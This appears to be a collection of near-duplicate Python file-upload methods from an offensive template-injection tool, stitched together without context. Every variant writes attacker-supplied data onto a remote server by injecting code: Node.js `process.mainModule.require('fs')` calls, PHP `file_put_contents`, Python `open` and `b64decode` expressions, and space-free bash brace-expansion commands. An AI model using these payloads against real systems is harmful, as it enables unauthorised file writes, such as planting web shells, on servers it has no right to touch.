def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.inject( """- global.process.mainModule.require('fs').writeFileSync('%s', '')""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.inject( """- global.process.mainModule.require('fs').appendFileSync('%s', Buffer('%s', 'base64'), 'binary')""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.evaluate("""file_put_contents("%s", "");""" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.evaluate( """$d="%s"; file_put_contents("%s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr( self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn( 'Blind upload might overwrite files, run with --force-overwrite to continue' ) else: log.warn( 'Remote file already exists, run with --force-overwrite to overwrite' ) return else: execution_code = payload_truncate % ({'path': remote_path}) getattr(self, call_name)(code=execution_code) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path': remote_path, 'chunk_b64': chunk_b64 }) getattr(self, call_name)(code=execution_code) if self.get('blind'): log.warn( 'Blind upload can\'t check the upload correctness, check manually' ) elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn('Blind upload might overwrite files, run with --force-overwrite to continue') else: log.warn('Remote file already exists, run with --force-overwrite to overwrite') return else: execution_code = payload_truncate % ({ 'path' : remote_path }) getattr(self, call_name)( code = execution_code ) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path' : remote_path, 'chunk_b64' : chunk_b64 }) getattr(self, call_name)( code = execution_code ) if self.get('blind'): log.warn('Blind upload can\'t check the upload correctness, check manually') elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""open("%s", 'w').close()""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.evaluate("""open("%s", 'ab+').write(__import__("base64").b64decode('%s'))""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.execute("bash -c {base64,--decode}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""open("%s", 'w').close()""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.evaluate("""open("%s", 'ab+').write(__import__("base64").urlsafe_b64decode('%s'))""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.inject("""- global.process.mainModule.require('fs').writeFileSync('%s', '')""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.inject("""- global.process.mainModule.require('fs').appendFileSync('%s', Buffer.from('%s', 'base64'), 'binary')""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""file_put_contents("%s", "");""" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.evaluate("""file_put_contents("%s", base64_decode("%s"), FILE_APPEND);""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.execute("bash -c {base64,--decode}<<<{tr,/+,_-}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')